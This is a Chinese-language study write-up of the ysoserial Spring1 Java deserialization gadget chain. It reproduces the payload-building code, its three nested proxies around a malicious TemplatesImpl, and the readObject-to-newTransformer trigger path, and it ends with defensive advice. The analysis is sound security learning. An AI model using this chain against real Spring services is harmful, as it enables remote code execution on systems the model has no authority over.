java反序列化学习-ysoserial-Spring1
字数 1854 2025-08-10 20:35:57
Java反序列化漏洞分析:ysoserial-Spring1利用链详解
一、漏洞背景
Spring1是ysoserial工具中的一个利用链,针对Spring框架的反序列化漏洞。该利用链利用了Spring框架中的多个特性,通过多层代理构造出一个复杂的调用链,最终实现远程代码执行(RCE)。
二、依赖环境
org.springframework:spring-core:4.1.4.RELEASE
org.springframework:spring-beans:4.1.4.RELEASE
三、核心代码分析
1. 主入口方法
public Object getObject(final String command) throws Exception {
// 创建TemplatesImpl恶意对象
final Object templates = Gadgets.createTemplatesImpl(command);
// 第一层代理:ObjectFactory代理
final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getObject", templates), ObjectFactory.class);
// 第二层代理:Type/Templates代理
final Type typeTemplatesProxy = Gadgets.createProxy(
(InvocationHandler)Reflections.getFirstCtor(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy),
Type.class, Templates.class);
// 第三层代理:TypeProvider代理
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
// 创建MethodInvokeTypeProvider实例
final Constructor mitpCtor = Reflections.getFirstCtor(
"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(
typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
// 设置methodName为"newTransformer"
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}
2. 关键组件解析
(1) Gadgets.createTemplatesImpl(command)
创建恶意TemplatesImpl对象,核心是利用org.apache.xalan.xsltc.trax.TemplatesImpl的_bytecodes属性存放恶意字节码。这些字节码会在newTransformer方法中被执行。
(2) 代理创建过程
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, map);
}
四、利用链详细分析
1. 三层代理结构
第一层代理:ObjectFactory代理
- 代理接口:
ObjectFactory - InvocationHandler:
AnnotationInvocationHandler - 关键映射:
"getObject" → templates(恶意TemplatesImpl对象)
第二层代理:Type/Templates代理
- 代理接口:
Type和Templates - InvocationHandler:
ObjectFactoryDelegatingInvocationHandler - 关键属性:
objectFactory指向第一层代理
第三层代理:TypeProvider代理
- 代理接口:
SerializableTypeWrapper$TypeProvider - InvocationHandler:
AnnotationInvocationHandler - 关键映射:
"getType" → 第二层代理
2. MethodInvokeTypeProvider构造
final Object mitp = mitpCtor.newInstance(
typeProviderProxy, // 第三层代理
Object.class.getMethod("getClass", new Class[] {}),
0
);
设置methodName为"newTransformer",这是触发RCE的关键。
五、反序列化触发流程
- 反序列化时首先触发
MethodInvokeTypeProvider的readObject方法 - 执行
ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName)this.provider.getType()触发第三层代理的getType方法- 第三层代理调用
AnnotationInvocationHandler.invoke - 从
memberValues中获取"getType"对应的值(第二层代理)
- 第二层代理的
ObjectFactoryDelegatingInvocationHandler.invoke被调用- 调用
objectFactory.getObject()(第一层代理)
- 调用
- 第一层代理的
AnnotationInvocationHandler.invoke被调用- 从
memberValues中获取"getObject"对应的值(恶意TemplatesImpl对象)
- 从
- 最终通过反射调用
TemplatesImpl.newTransformer()执行恶意代码
六、关键点总结
- 多层代理嵌套:通过三层代理构造复杂调用链
- AnnotationInvocationHandler利用:利用其
memberValues属性控制方法调用返回值 - ObjectFactoryDelegatingInvocationHandler:Spring特有的代理处理器,转发调用到ObjectFactory
- MethodInvokeTypeProvider触发点:其
readObject方法触发整个调用链 - 最终触发点:
TemplatesImpl.newTransformer()执行恶意字节码
七、防御建议
- 升级Spring框架到安全版本
- 避免反序列化不可信数据
- 使用白名单机制限制反序列化的类
- 使用安全工具检测Java反序列化漏洞
八、技术要点
- Java动态代理机制:理解
InvocationHandler和Proxy的工作方式 - Spring框架内部机制:了解Spring的代理和类型处理机制
- 反序列化漏洞原理:掌握Java反序列化漏洞的触发机制
- Gadget构造技巧:学习如何将多个组件串联成可利用链